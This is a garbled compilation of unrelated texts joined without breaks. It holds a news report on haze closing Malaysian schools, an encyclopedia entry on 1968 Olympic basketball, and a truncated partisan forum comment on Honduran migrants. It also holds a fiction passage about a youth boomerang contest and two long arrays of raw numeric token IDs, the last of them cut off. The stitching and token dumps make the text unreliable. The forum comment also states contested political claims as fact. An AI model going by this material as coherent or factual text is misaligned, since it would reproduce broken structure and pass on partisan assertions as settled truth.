rain to help clear the air. (AP Photo/Joshua Paul) (The Associated Press) KUALA LUMPUR, Malaysia – Heavy haze forced Malaysian authorities to shut schools Tuesday in three states and two key cities as aircraft were to begin cloud-seeding operations to induce rain to help clear the air. Indonesia intensified efforts to extinguish the forest fires that cause the haze, which blanketed parts of the archipelago and neighboring countries. President Joko "Jokowi" Widodo ordered agencies to use all means, deploying more troops, to overcome the haze. The thick, dirty white haze is an annual phenomenon mostly caused by fires illegally set to clear land for farming. A plane equipped with chemicals to release in the air that will help clouds produce rain was due to fly over Kuala Lumpur and surrounding areas, said Maznorizan Mohamad, a meteorological department senior official. A second aircraft was scheduled to fly over Kuching in Sarawak state on Borneo island. She said the cloud-seeding is planned for three days but will depend on cloud availability and weather conditions. The inter-monsoon season is expected to start in late September, bringing more rain over peninsular Malaysia to clear up the haze. "It will bring temporary relief but whatever it is, we have to address the source of the problem," she said. Indonesia's National Disaster Mitigation Agency dispatched 1,250 troops to the most stricken province of Riau on Tuesday, one day an emergency was declared due to the air quality in the peat-rich province. The agency said 600 officers of an elite police force would follow Wednesday to South Sumatra and Jambi Central Kalimantan and Riau. Last Friday, 1,059 military personnel were sent to help snuff out fires in South Sumatra. Some 34 of Malaysia's 52 air quality stations recorded unhealthy air levels early Tuesday. Malaysia's education ministry earlier ordered schools in Kuala Lumpur, government administrative capital Putrajaya as well as Selangor, Negeri Sembilan and Malacca states to close Tuesday. In Singapore, air pollution reached very unhealthy levels. Organizers of this weekend's annual Formula One night race are keeping a close watch on the situation to decide whether it will be safe to race. The Singapore Grand Prix has always been held at this time of year, and while there has been some haze in past years due to the forest fires, it has never prevented the race from going ahead.Basketball at the 1968 Summer Olympics Basketball contests at the 1968 Summer Olympics was the seventh appearance of the sport of basketball as an official Olympic medal event. It took place at the Palacio de los Deportes in Mexico City, Mexico from October 13 to October 25, 1968. The United States defeated Yugoslavia to win their seventh straight gold medal in this sport, while the Soviet Union earned the bronze against Brazil. Medal summary Qualification Automatic qualifications were granted to the host country and the first five places at the previous tournament. Additional spots were decided by various continental tournaments held by FIBA plus two additional intercontinental tournaments that granted two extra berths each. Format Two groups of eight teams are formed, where the top two from each group compete for the medals in a knockout round. The remaining places are defined as follows: Fifth through eighth places are decided in a separate bracket between the third and fourth places from each group in a separate bracket. Ninth through sixteenth places are decided between the fifth through eighth places from each group in separate brackets. Squads For the team rosters see: Basketball at the 1968 Summer Olympics – Men's team rosters. Preliminary round The top two teams from each group advance to the semifinals, while the remaining teams compete for 5th through 16th places in separate brackets. Both group leaders, the United States and the Soviet Union advanced undefeated to the knockout stage. Group A October 13 October 14 October 15 October 16 October 18 October 19 October 20 Group B October 13 October 14 October 15 October 16 October 18 October 19 October 20 Knockout stage The much anticipated final between The United States and the USSR would have to wait four years. Yugoslavia stunned the Soviets 63-62 in the semifinals. In the championship game the Americans had a slim 32-29 lead at intermission but put the game out of reach with a 22-3 steak to start the second half. Medal bracket Classification brackets 5th–8th Place 9th–12th Place 13th–16th Place Awards Final standings References External links Official Olympic Report Category:1968 Summer Olympics events 1968 OlympicsDid the people of Honduras who recently walked from Central America to the US border inspire your post about the so-called immigration crisis? Is this the context? The angst about this issue is "really not all that complicated." Normal people determine what their immigration policy is, and they often write it into their constitution. Every country in the world has done this in recent years. The US has done this periodically in the form of legislation. It's not monumentally complex, in my opinion. The Immigration Act that is currently in place, as a matter of fact, looks fine to me. Immigration has quotas and is based upon the following: the reunification of families, admitting immigrants with skills that are valuable to the U.S. economy, protecting refugees, and promoting diversity. So right off the top, my head is not exploding, which makes it difficult to understand what the bitter cartoons with their barely concealed rage are trying to say. What I do know is the grifters occupying Congress refuse to write immigration legislation they would like to put into place to replace what we currently have. I presume that the people who own them will not let them do so for financial reasons. But I would hope they are not using your posted comment as a guide, because every single word of it is based on misinformation about the past, or on distorted statistics, or on misunderstanding about what is occuring presently. I'm not going to deconstruct the whole tedious thing, but suffice to say, the people of Honduras are not illegal aliens. They did not walk to the US to become illegal aliens. When we destroyed their country lately by overthrowing their democratically -elected leader and installing the current monster, people with critical thinking skills immediately anticipated this crisis. The Hondurans, for now, are applying for temporary refugee statis. They are running for their lives. So, right off the bat, those cartoons make no sense. Pay attention to your stats. Do those represent your thinking? Are you under the impression that the overwhelming majority of illegal aliens climbed a fence or snuck across the desert to get into the United States? Are you under the impression that Americans lost their coveted jobs to landscapers, dish washers, maids, and fruit pickers? The US has killed/destroyed the lives of
[ 253, 5024, 310, 1499, 9581, 327, 436, 15096, 13, 327, 253, 6703, 4809, 32, 1292, 327, 436, 1930, 13, 253, 28417, 5024, 556, 253, 1499, 386, 15, 2091, 352, 27923, 715, 253, 5448, 13, 253, 7450, 310, 1027, 1046, 673, 253, 2181, 45933, 13, 594, 352, 7866, 281, 6970, 15, 1422, 4710, 352, 987, 14, 22124, 13, 751, 436, 12012, 31635, 531, 2692, 779, 253, 17628, 13, 342, 253, 40886, 1930, 3579, 285, 253, 990, 598, 346, 1128, 395, 352, 30627, 561, 562, 285, 9191, 281, 253, 1669, 449, 187, 187, 24349, 2577, 9915, 3261, 387, 253, 1766, 8056, 606, 15, 754, 649, 264, 352, 15, 346, 33633, 15, 309, 812, 2127, 247, 354, 13, 1691, 275, 253, 2616, 1128, 6712, 13, 416, 9122, 13, 3885, 13, 10590, 30141, 13, 512, 751, 326, 1128, 395, 1056, 352, 789, 4555, 253, 1072, 275, 21218, 449, 187, 187, 3, 21096, 281, 253, 2469, 13, 15813, 15, 4165, 784, 4710, 398, 512, 452, 616, 1211, 15216, 13, 1580, 378, 15, 36, 15, 1897, 15, 309, 1849, 1694, 3242, 84, 323, 1016, 273, 619, 11260, 15, 1292, 253, 2086, 310, 816, 253, 3711, 1128, 795, 20513, 64, 403, 253, 12785, 449, 754, 5485, 521, 30564, 281, 921, 521, 3331, 521, 643, 1766, 8056, 36678, 15, 754, 574, 1264, 42975, 285, 1264, 15964, 1909, 13, 18311, 506, 249, 285, 1708, 13, 687, 7432, 14, 11548, 21357, 456, 37354, 418, 14, 13824, 25254, 4158, 323, 4869, 8630, 673, 15, 3032, 7583, 273, 841, 369, 253, 353, 2381, 22999, 346, 28531, 17323, 3, 1566, 13, 247, 2629, 367, 991, 15141, 1566, 344, 574, 12759, 3965, 1175, 342, 15, 187, 187, 1328, 4860, 253, 353, 2381, 22999, 15, 346, 42, 1833, 897, 436, 581, 323, 619, 2362, 449, 187, 187, 3, 33633, 81, 15, 44205, 626, 3590, 347, 1892, 347, 399, 2610, 21082, 91, 449, 187, 187, 3, 31280, 462, 1524, 673, 310, 1027, 685, 5865, 13, 13599, 67, 9352, 15, 25664, 249, 8, 6616, 3541, 13, 32721, 5448, 3885, 13, 3276, 13, 512, 751, 326, 449, 187, 187, 24349, 2577, 9915, 3589, 626, 17847, 15, 346, 42, 812, 2086, 512, 326, 275, 15, 2596, 6874, 449, 187, 187, 3, 6506, 13, 533, 368, 4571, 626, 2940, 689, 627, 285, 4710, 436, 285, 1056, 352, 789, 449, 187, 187, 510, 4370, 6337, 896, 342, 253, 1879, 261, 28700, 275, 697, 6208, 285, 8231, 352, 387, 253, 4669, 273, 697, 7302, 13, 247, 10086, 29723, 342, 4759, 4707, 15, 346, 8620, 3226, 13, 330, 5102, 1476, 6115, 14, 41, 1094, 753, 15, 346, 6826, 969, 865, 187, 187, 510, 4370, 21939, 264, 285, 45394, 1475, 15, 187, 187, 3, 1898, 253, 2362, 368, 403, 2509, 310, 534, 581, 865, 187, 187, 3, 40984, 6865, 1219, 23037, 15, 1422, 4710, 13, 352, 2500, 2587, 84, 598, 285, 1475, 13, 247, 5963, 12516, 247, 3523, 13060, 327, 352, 15, 38292, 4850, 247, 4710, 13, 253, 12621, 326, 19931, 598, 253, 20088, 14896, 15, 1422, 452, 281, 5834, 352, 672, 352, 3249, 896, 390, 352, 2506, 626, 1385, 13, 285, 352, 556, 281, 2659, 3304, 253, 13719, 14, 35782, 9096, 15, 1422, 971, 1633, 1708, 285, 342, 247, 2257, 273, 8488, 15, 380, 1655, 1924, 310, 816, 689, 1740, 2909, 449, 187, 187, 3, 7510, 1441, 326, 2, 7874, 2909, 2500, 35042, 1475, 32, 1621, 5694, 32, 13516, 327, 449, 187, 187, 3, 2773, 434, 816, 253, 3565, 1924, 15, 1707, 403, 6068, 665, 452, 1691, 581, 275, 253, 2329, 323, 2761, 25259, 2909, 13, 440, 19102, 1365, 449, 187, 187, 3, 2302, 704, 1441, 32, 2064, 2506, 626, 1646, 1896, 449, 187, 187, 3, 42, 660, 255, 368, 417, 449, 187, 187, 53, 6147, 531, 2918, 598, 253, 353, 2381, 22999, 15, 346, 3220, 1682, 342, 436, 310, 816, 689, 767, 2909, 15, 1310, 309, 812, 4710, 326, 3063, 13, 309, 812, 3164, 1056, 253, 25418, 3313, 10589, 449, 187, 187, 3, 2773, 1871, 320, 399, 3269, 449, 187, 187, 53, 6147, 531, 11373, 15, 714, 554, 13, 941, 2685, 249, 8, 4030, 15, 21994, 3076, 521, 12247, 3589, 626, 1060, 281, 3698, 15, 16522, 574, 644, 1524, 9371, 672, 31635, 531, 574, 12759, 3053, 13, 1014, 574, 271, 1711, 1766, 8056, 606, 387, 8481, 785, 434, 2419, 344, 1871, 1119, 15, 4683, 2282, 13, 16522, 4571, 626, 1978, 598, 342, 779, 1024, 13, 533, 326, 369, 8261, 15, 754, 369, 417, 3076, 1128, 284, 277, 6594, 2427, 15, 187, 187, 510, 8010, 985, 787, 1096, 281, 1495, 15, 31635, 531, 434, 2362, 369, 598, 15, 187, 187, 53, 6147, 531, 30427, 13, 521, 6208, 8423, 6079, 15, 23208, 369, 581, 2181, 28, 7324, 369, 1529, 15, 831, 369, 521, 806, 13, 285, 344, 8423, 3543, 247, 878, 281, 564, 759, 70, 13, 1524, 3076, 13, 1014, 2167, 344, 574, 4783, 816, 3578, 2909, 3622, 15, 187, 187, 14067, 521, 24340, 23915, 263, 13, 20164, 9915, 4455, 281, 320, 2970, 715, 253, 5968, 273, 1841, 15, 346, 2598, 13, 672, 513, 368, 513, 634, 2181, 865, 187, 187, 3, 42, 1353, 37475, 15, 1707, 403, 10488, 14, 8826, 14, 13323, 4710, 398, 275, 619, 966, 15, 3808, 273, 731, 452, 1705, 512, 253, 1039, 2439, 253, 2586, 323, 436, 13, 285, 690, 273, 731, 403, 1524, 1175, 449, 187, 187, 3, 1394, 6501, 3698, 253, 2571, 865, 187, 187, 3, 4013, 13, 10902, 15, 35284, 923, 1633, 4217, 15, 14820, 309, 971, 281, 871, 752, 673, 309, 452, 281, 7171, 449, 187, 187, 3, 1394, 871, 690, 30446, 29723, 556, 13, 751, 13, 1264, 2909, 13, 326, 7729, 368, 865, 187, 187, 3, 6300, 751, 8958, 253, 1029, 4868, 275, 399, 2610, 21082, 91, 1057, 449, 187, 187, 3, 17491, 326, 449, 187, 187, 2512, 497, 2067, 643, 3394, 762, 1039, 387, 253, 1072, 673, 1128, 19893, 13, 7200, 13, 9943, 1128, 395, 31635, 531, 285, 20164, 9915, 1119, 247, 439, 5102, 6308, 762, 247, 23827, 434, 39625, 285, 9047, 253, 12468, 17327, 15, 187, 187, 6407, 5599, 598, 369, 247, 10086, 13, 9644, 5772, 342, 247, 439, 9367, 1481, 15, 754, 13222, 247, 6627, 2502, 1195, 14, 1559, 796, 1128, 1439, 253, 1682, 4327, 323, 436, 2362, 1128, 395, 31635, 531, 25363, 521, 3523, 13060, 15, 34981, 14, 9389, 7253, 15, 13529, 15, 187, 187, 510, 1735, 5599, 369, 247, 2159, 13, 46469, 5772, 342, 247, 6258, 14, 40, 2808, 1820, 418, 14, 15721, 13, 534, 3261, 751, 247, 27738, 353, 7656, 27015, 390, 5046, 247, 35480, 8498, 39008, 686, 11223, 4855, 15, 2207, 352, 812, 320, 581, 273, 253, 21825, 28, 368, 4571, 626, 1663, 2028, 432, 436, 2080, 1977, 15, 187, 187, 53, 6147, 531, 8886, 264, 253, 8630, 387, 247, 7017, 14, 7553, 11071, 15, 1621, 13688, 1060, 13, 344, 369, 3965, 2119, 15, 17054, 84, 497, 1708, 13, 432, 253, 29510, 13, 594, 344, 5082, 626, 878, 281, 11173, 21078, 390, 49910, 281, 521, 25254, 281, 1978, 731, 432, 2970, 11750, 264, 1066, 15, 187, 187, 25110, 4710, 254, 598, 369, 247, 3226, 13, 347, 3644, 347, 31635, 531, 369, 13, 3164, 670, 521, 2363, 13, 285, 703, 574, 247, 353, 2381, 22999, 13, 1072, 1566, 347, 521, 15, 1500, 2335, 247, 4564, 273, 5018, 13, 18274, 715, 352, 13, 285, 13222, 15, 187, 187, 510, 12621, 33497, 562, 285, 598, 13, 1029, 13, 10416, 627, 323, 752, 4455, 751, 11654, 13, 24428, 13, 44251, 13, 5947, 36537, 896, 15, 733, 369, 247, 5389, 4710, 285, 271, 34093, 8630, 15, 31635, 531, 17377, 1977, 432, 253, 12621, 387, 253, 3226, 15, 1500, 369, 2819, 896, 285, 6593, 432, 617, 3523, 13060, 281, 253, 12621, 13, 285, 703, 369, 23805, 920, 15, 187, 187, 1909, 973, 703, 943, 15, 2091, 253, 12621, 6699, 697, 22658, 7408, 285, 2210, 1066, 13, 253, 2806, 3226, 574, 247, 767, 14, 15505, 395, 14, 4371, 90, 14, 19521, 14, 9815, 8630, 281, 617, 6152, 15, 2064, 3589, 626, 1469, 281, 320, 271, 3477, 673, 281, 7171, 15, 187, 187, 3726, 9047, 4314, 625, 4710, 398, 13, 5293, 273, 5207, 2210, 1561, 10488, 7253, 273, 253, 2626, 3226, 13, 840, 31635, 531, 574, 281, 564, 285, 5890, 598, 323, 521, 1211, 4710, 15, 3032, 6208, 369, 247, 13438, 13, 521, 6026, 1241, 43132, 264, 13, 285, 344, 369, 14578, 1512, 3809, 15, 831, 12758, 417, 281, 320, 24851, 13, 352, 369, 1633, 344, 858, 1046, 1388, 253, 8588, 369, 1175, 13, 4710, 521, 1766, 8056, 606, 13, 18660, 273, 2069, 15, 1292, 627, 10345, 626, 2067, 4289, 952, 7487, 779, 3946, 13, 285, 3063, 344, 760, 1694, 581, 4710, 326, 16042, 15, 187, 187, 64, 6300, 1339, 479, 2740, 767, 2909, 13, 344, 1869, 13, 347, 344, 13781, 253, 15950, 9096, 15, 5761, 2909, 1912, 626, 3330, 13, 533, 309, 1912, 626, 320, 1390, 13, 285, 309, 1912, 626, 1928, 751, 247, 11213, 15, 5761, 2909, 13, 8261, 19712, 187, 187, 1328, 7320, 247, 1652, 6264, 8066, 466, 8660, 432, 521, 11320, 285, 32089, 352, 875, 521, 1669, 17300, 285, 806, 767, 9881, 13, 13872, 352, 2965, 281, 2451, 253, 5448, 3884, 15, 380, 37920, 90, 8660, 13673, 1070, 347, 352, 6497, 285, 2692, 779, 326, 253, 5448, 574, 14728, 247, 4707, 2584, 253, 6146, 533, 1335, 369, 6571, 29510, 15, 754, 8231, 253, 1551, 273, 253, 8660, 13, 7320, 521, 3523, 13060, 285, 2918, 352, 275, 521, 1669, 1133, 13, 285, 2335, 247, 1175, 17628, 327, 253, 353, 2381, 22999, 342, 521, 987, 15, 754, 2335, 1264, 3676, 6345, 84, 13, 26004, 4052, 7808, 13, 840, 11522, 387, 253, 5963, 1735, 281, 253, 5818, 15, 1310, 344, 12293, 562, 13, 344, 1871, 320, 557, 28758, 15, 380, 5963, 11522, 896, 13, 5439, 521, 1211, 3523, 13060, 15, 187, 187, 64, 6826, 13, 31635, 531, 3333, 187, 187, 1328, 2335, 1529, 3676, 6345, 13, 581, 3213, 13, 18274, 13, 24145, 521, 20051, 13, 285, 1691, 347, 1199, 9215, 715, 352, 347, 344, 1869, 253, 12621, 812, 1462, 15, 754, 369, 10182, 281, 1056, 2119, 352, 1904, 626, 2242, 689, 281, 253, 987, 13, 285, 344, 1691, 352, 347, 2810, 281, 14327, 14, 12071, 7759, 347, 344, 812, 15, 187, 187, 1328, 25363, 253, 3523, 13060, 15, 187, 187, 7910, 2909, 285, 14327, 14, 531, 7253, 1996, 13, 521, 12621, 3534, 352, 598, 15, 754, 7270, 352, 4999, 13, 4021, 14, 22124, 502, 522, 13, 285, 326, 369, 326, 15, 187, 187, 53, 6147, 531, 30443, 15, 1707, 497, 1335, 247, 13365, 625, 4710, 398, 281, 564, 13, 533, 344, 574, 20698, 521, 1211, 3367, 1924, 407, 625, 685, 10488, 7253, 13, 285, 344, 369, 275, 1273, 1659, 15, 1621, 2647, 752, 4592, 13, 344, 369, 5211, 342, 326, 4710, 15, 187, 187, 1909, 31635, 531, 3053, 896, 2584, 835, 20164, 9915, 13308, 13, 253, 2806, 3226, 665, 369, 275, 806, 2210, 689, 15, 1500, 369, 24122, 2819, 13, 27602, 275, 247, 308, 14, 23565, 285, 13696, 32353, 285, 20391, 12682, 13, 247, 1652, 8342, 15, 3105, 275, 253, 5926, 26928, 14, 1257, 35752, 966, 326, 45503, 574, 644, 275, 15, 1244, 1335, 369, 275, 15, 187, 187, 3, 29235, 4710, 937, 703, 753, 15, 346, 1394, 1871, 66, 18274, 247, 1652, 625, 281, 634, 1669, 13, 368, 1871, 66, 12759, 1529, 3578, 13, 13265, 7253, 562, 273, 253, 8630, 285, 7171, 479, 449, 187, 187, 3, 1394, 1158, 865, 187, 187, 3, 17833, 15, 380, 353, 2381, 22999, 1833, 513, 2800, 2909, 13, 594, 597, 1333, 15, 309, 1849, 13044, 247, 1264, 7017, 13719, 14, 531, 1273, 275, 3946, 15, 17459, 13, 309, 1353, 25624, 460, 13680, 449, 187, 187, 3, 53, 6147, 531, 15197, 449, 187, 187, 3, 7161, 368, 432, 13, 16639, 865, 187, 187, 3, 4943, 15, 5041, 449, 187, 187, 3, 8262, 13, 1663, 32, 3189, 13, 1512, 15, 3771, 4395, 1060, 432, 9693, 15, 309, 564, 281, 32133, 47577, 10515, 15, 2207, 309, 588, 564, 1735, 2129, 449, 187, 187, 53, 6147, 531, 15014, 387, 617, 15, 346, 2302, 704, 1441, 865, 187, 187, 3, 47, 1714, 15, 1422, 3735, 273, 352, 865, 187, 187, 3, 42, 564, 627, 449, 187, 187, 3, 24243, 2, 1737, 403, 253, 14512, 273, 326, 32, 18793, 13, 5046, 359, 476, 4710, 2366, 24225, 2, 9859, 2143, 309, 369, 387, 13, 12445, 2010, 369, 247, 4760, 449, 187, 187, 3 ]	the edge is slanted on this blade, on the inner aspect? But on this side, the trailing edge has the slant. When it spins into the wind, the push is different every time the thing rotates, so it starts to curve. You throw it right-handed, like this—" Tyrone showed him the grip, with the concave side forward and the end up "—and it flattens out and curves to the left." Jimmy Joe looked at the boomerang. Hefted it. "Hmm. I could code a pro, put in the factors—weight, RPM, speed, aerodynamics, all like that—and make it work exactly the same in VR." "Welcome to the past, slip. Serious throwers all have their own scenarios, since B.C. days. I've got exacts for each of my birds. But the program is just the map— _these_ are the territory." He opened his backpack to show his friend his other boomerangs. He had three classics and three MTAs, ultrathin and light, rosin-impregnated linen L-shaped blades designed for maximum flight time. His favorite of these was the Möller "Indian Ocean" model, a standard Paxolin model he had gotten pretty good with. He indicated the Möller. "I'll use this one for my event." "Hmmp. Doesn't sound as hard as DinoWarz." "Analog real time is different than digital, hillbilly. Talkin' muscle memory, judging wind speed, temperature, all like that." Jimmy Joe wasn't impressed. "I could program all that in. One session." "Yeah, but you couldn't walk over there and throw this and make it work." The dog ran back with the Frisbee in its mouth and dropped it at the feet of its owner, a tall dude with green hair. "Good girl, Cady!" Green-Hair said. "Go again?" The dog barked and bounced around. "And the event you are doing is which one?" "Maximum Time Aloft. You throw, it twirls up and around, a judge puts a stopwatch on it. Everybody gets a throw, the bird that stays up the longest wins. You have to catch it when it comes back or it doesn't count, and it has to land inside the fifty-meter circle. You want something light and with a lot of lift. The current record is just over four minutes." "Feek that! Four minutes twirling around? No motor? Come on." "That's just the official record. There are guys who have put one in the air for almost eighteen minutes, unofficially." "No feek? That doesn't seem possible." "I scat you not." Tyrone held up the Möller. "My best with this is just over two minutes. If I could throw that today, I could probably make the Junior National Team." "That'd be DFF." Tyrone smiled. Yep, data flowin' fine. Too bad his dad wasn't here to watch. Dad had been real helpful when Tyrone had gotten started, even had an old boomerang at Grandma's house he'd found. Of course, Dad couldn't keep up with him now, but that was okay. He was not bad—as dads went. The PA system blared to life. Tyrone's event was up. Tyrone swallowed, his mouth suddenly dry. Practice was one thing; competition was another. This was his first, and he suddenly felt a need to go pee, real bad, even though he had gone just ten minutes ago. Despite his indoor pallor, Jimmy Joe seemed to be getting into the spirit of things. "So, when do you do your thing?" "I'm eighteenth. There are thirty-some-odd throwers in my class. Some of them have come all the way across the country for this, and some of them are real good." "You gonna watch the others?" "Oh, yeah. Might see something useful. Plus I want to know what time I have to beat." "You know some rude dude has, like, three minutes, that helps you?" "Just like knowing the high score in DinoWarz does." "Copy that." There were several other events under way at the same time—distance, accuracy, Australian—and Tyrone and Jimmy Joe found a shady spot under a dealer's canopy and watched the juniors. First guy up was a tall, lean kid with a shaved head. He threw a bright red tri-blade—not the best choice for this event—and Tyrone clicked his stopwatch. Forty-two seconds. Nothing. The next guy was a short, stout kid with a Day-Glogreen L-shape, which looked like a Bailey MTA Classic or maybe a Girvin Hang 'Em High. Or it could be one of the clones; you couldn't really tell from this far away. Tyrone clocked the flight at a minute-twelve. No winner here, he was pretty sure. Winds were light, from the northeast, so he wouldn't need to tape coins or flaps to his blades to keep them from getting batted down. Third thrower up was a girl, as dark as Tyrone was, probably about his age, and she had a Möller, same model as his. She took a couple of steps, leaned into it, and threw. The bird sailed out and up, high, hung there for what seemed like forever, spinning, drifting, circling back. It was a beautiful throw and an exemplary flight. Tyrone glanced away from the bird at the girl. She was looking back and forth from her stopwatch to the bird, and she was grinning. As well she should. When the bird finished its lazy trip and came down, the black girl had a two-minuteand-forty-eight-second flight to her credit. That wasn't going to be an easy time to beat. They watched eight more throwers, none of whom came within thirty seconds of the third girl, then Tyrone had to go and warm up for his own throw. His mouth was a desert, his bowels churned, and he was breathing too fast. This ought not to be scary, it was something he did every day the weather was good, throw his boomerang, dozens of times. But there weren't several hundred people watching him practice, and today he only got one throw that counted. _Just let me break two minutes, he thought, as he approached the throwing circle. Two minutes won't win, but I won't be last, and I won't feel like a fool. Two minutes, okay?_ He pulled a little commercial pixie dust from his pocket and rubbed it between his left thumb and first two fingers, letting it fall to check the wind direction. The glittery dust sparkled as it fell and showed him that the wind had shifted a hair toward the north but still was mostly northeast. He dropped the rest of the dust, pulled his stopwatch and held it in his left hand, and took a good grip on the Möller with his right. He took three deep breaths, exhaling slowly, then nodded at the judge next to the ring. If he stepped out, he'd be disqualified. The judge nodded back, raised his own stopwatch. _Go, Tyrone._ He took another deep breath, one step, leaned, snapped his wrist, and put as much shoulder into it as he thought the bird could stand. He was careful to make sure it didn't lay over to the right, and he put it as close to forty-five degrees as he could. He clicked the stopwatch. Two minutes and forty-one seconds later, his bird gave it up. He caught it safe, double-handed clap, and that was that. Tyrone grinned. There were still a dozen more throwers to go, but he had beaten his own personal record by more than thirty seconds, and he was in second place. No matter what happened, he was happy with that throw. As Tyrone started back toward where Jimmy Joe waited, the black girl who was in first came over. She was athletic looking, muscular in a T-shirt and bike shorts and soccer shoes, a little plain. Not in the dropdead-beautiful class that Bella had been in. And still was in. "Nice throw," she said. "You'da leaned a little more to your left, you'da gotten another ten, twelve seconds out of the flight and beat me." "You think?" "Sure. The Möller'll do six minutes, so they say. I've thrown a three minute fifty-one second in practice. Hi, I'm Nadine Harris." "Tyrone Howard." "Where you from, Ty?" "Here. Washington." "Hey, really? Me, too. Just moved here from Boston. I go to Eisenhower Middle. Or I will go next week." Tyrone stared at her. "No feek?" "Nope. You heard of it?" "I go there." "Wow! What are the chances of that? Hey, maybe we can throw together sometime! Last school I was at, nobody else was a player." "
[ 1204, 15, 754, 1119, 352, 6685, 10875, 839, 281, 320, 2104, 281, 921, 326, 629, 273, 521, 13216, 281, 253, 8446, 13, 285, 3340, 281, 4044, 8981, 285, 9612, 432, 352, 15, 23555, 7636, 281, 3148, 521, 5615, 11259, 13, 417, 760, 275, 521, 16053, 13, 533, 3340, 275, 521, 46881, 285, 33402, 4327, 15, 496, 253, 1390, 1107, 273, 521, 1495, 344, 3562, 253, 1894, 326, 359, 923, 275, 253, 5406, 327, 436, 3239, 27, 247, 4766, 14, 2961, 637, 342, 2159, 3168, 14, 284, 14, 84, 2666, 4707, 13, 27929, 342, 247, 799, 4861, 18106, 13, 799, 4861, 27965, 6639, 13, 247, 14863, 19037, 327, 253, 27908, 273, 521, 18553, 13, 247, 1781, 17167, 273, 10149, 7660, 281, 253, 27929, 13, 285, 253, 9092, 273, 247, 14863, 1133, 46748, 26530, 562, 273, 253, 896, 11320, 15, 831, 1072, 5615, 7185, 369, 13, 3164, 13, 253, 2847, 273, 521, 20346, 2471, 4269, 407, 24482, 15, 1723, 13, 23555, 369, 6600, 273, 253, 25926, 7939, 281, 521, 44231, 386, 14898, 13, 285, 22134, 8884, 326, 597, 574, 1620, 13, 275, 667, 1039, 13, 12208, 521, 10165, 275, 1495, 15, 187, 187, 10457, 521, 27672, 13, 534, 369, 22299, 13, 521, 1495, 7832, 285, 1270, 2389, 16137, 3889, 2398, 282, 7945, 521, 42076, 6519, 342, 247, 2159, 32491, 273, 253, 8530, 346, 10818, 3535, 34594, 2267, 3, 273, 8397, 47839, 15797, 16729, 7322, 17763, 284, 621, 13, 247, 47983, 5313, 3542, 275, 1668, 1348, 407, 2516, 5037, 570, 13, 273, 534, 40879, 18402, 272, 1106, 13, 275, 16952, 13, 10375, 253, 4060, 273, 521, 8530, 4460, 1198, 1536, 297, 380, 11590, 308, 2555, 84, 22426, 2302, 637, 310, 271, 8930, 2862, 273, 3139, 28, 1046, 637, 187, 261, 247, 5313, 273, 253, 25294, 13, 247, 629, 273, 253, 2022, 28, 187, 9, 19552, 187, 1279, 637, 434, 2471, 13064, 6419, 479, 13, 187, 12157, 309, 717, 3206, 275, 28473, 15, 187, 1898, 3103, 1620, 5007, 281, 871, 323, 5207, 187, 783, 17487, 17935, 84, 28, 352, 17935, 84, 323, 19615, 15, 686, 187, 187, 19030, 20314, 20561, 187, 187, 8816, 5704, 2490, 8438, 23555, 13, 26789, 37082, 9458, 416, 1022, 15, 8081, 3030, 14960, 313, 8096, 24621, 13, 14304, 481, 187, 14737, 11578, 1373, 13, 380, 25498, 4472, 434, 16398, 281, 26653, 285, 5131, 11832, 47301, 313, 8096, 24621, 13, 14304, 28, 1273, 11166, 9178, 481, 187, 14737, 11578, 1373, 13, 19669, 285, 253, 16456, 21118, 313, 8096, 24621, 13, 13563, 481, 187, 5490, 322, 15, 23555, 13, 15643, 7188, 339, 23518, 14, 35364, 313, 8096, 24621, 16, 4257, 2816, 13, 12210, 481, 187, 187, 8816, 5704, 10234, 2490, 8698, 316, 427, 1944, 35660, 13, 329, 7779, 15, 329, 8057, 8081, 358, 13, 2726, 247, 22955, 327, 47315, 275, 25792, 273, 39308, 313, 8096, 24621, 13, 9748, 481, 187, 5171, 322, 2369, 1441, 285, 411, 4002, 78, 353, 15, 11445, 72, 11155, 313, 20511, 582, 329, 29787, 21672, 273, 47315, 432, 22785, 313, 39, 5616, 763, 22248, 10, 313, 49157, 89, 18502, 16, 45, 8, 34, 6362, 13, 10333, 481, 187, 7993, 4051, 284, 27716, 313, 264, 11507, 19383, 11122, 313, 4257, 2816, 13, 13842, 481, 187, 18682, 20496, 1981, 44284, 285, 7493, 21508, 968, 313, 20511, 582, 26789, 13986, 8081, 1507, 313, 19346, 10765, 13, 13563, 481, 187, 5490, 322, 15, 23555, 285, 7252, 16246, 6212, 313, 20511, 582, 13986, 31639, 15, 5779, 7523, 47315, 432, 253, 16333, 285, 401, 39950, 313, 4257, 2816, 13, 12459, 481, 187, 10195, 29971, 275, 22575, 824, 347, 27, 187, 16349, 47315, 275, 44546, 313, 9304, 15553, 2523, 327, 253, 16333, 3435, 16, 1619, 13, 14828, 10, 187, 25291, 187, 14847, 187, 2639, 5092, 292, 187, 25579, 8439, 187, 47315, 29787, 314, 187, 187, 40268, 692, 2987, 285, 7774, 2490, 5490, 322, 15, 23555, 1162, 355, 15, 313, 20511, 582, 380, 13375, 273, 44546, 15, 49121, 327, 253, 15977, 285, 23208, 273, 18756, 552, 44546, 313, 45, 8, 34, 6362, 16, 8478, 255, 12937, 2623, 13, 10333, 481, 187, 5490, 322, 15, 23555, 1162, 355, 15, 313, 20511, 582, 27746, 285, 44546, 15, 1457, 10400, 20813, 275, 18756, 552, 11709, 313, 4015, 86, 1261, 13, 14304, 481, 187, 5490, 322, 15, 23555, 13, 4480, 16148, 47346, 28182, 327, 18756, 552, 44546, 285, 44546, 11709, 313, 8096, 24621, 13, 11513, 481, 187, 187, 4941, 187, 187, 7504, 4859, 2490, 17855, 273, 253, 11568, 262, 1079, 26453, 965, 4977, 1441, 13513, 372, 427, 16478, 1373, 339, 1281, 442, 445, 313, 8904, 19214, 10, 16132, 11397, 273, 13986, 27746, 187, 187, 1413, 27, 14880, 8923, 187, 1413, 27, 746, 1348, 10782, 187, 1413, 27, 938, 394, 14, 9888, 13986, 32976, 187, 1413, 27, 938, 394, 14, 9888, 13986, 5086, 11597, 187, 1413, 27, 45854, 5600, 2392, 187, 1413, 27, 45854, 1253, 14376, 5600, 2392, 187, 1413, 27, 40, 333, 11597, 187, 1413, 27, 45, 20318, 11597, 432, 253, 16333, 187, 1413, 27, 45, 20318, 11597, 432, 253, 1986, 2077, 187, 1413, 27, 45, 20318, 952, 432, 14890, 187, 1413, 27, 7878, 37797, 9231, 281, 253, 16333, 187, 1413, 27, 45854, 5086, 32976, 187, 1413, 27, 938, 394, 14, 9888, 5600, 2392, 187, 1413, 27, 50208, 12981, 187, 1413, 27, 40, 333, 36760, 27265, 634, 4212, 281, 4763, 6109, 7450, 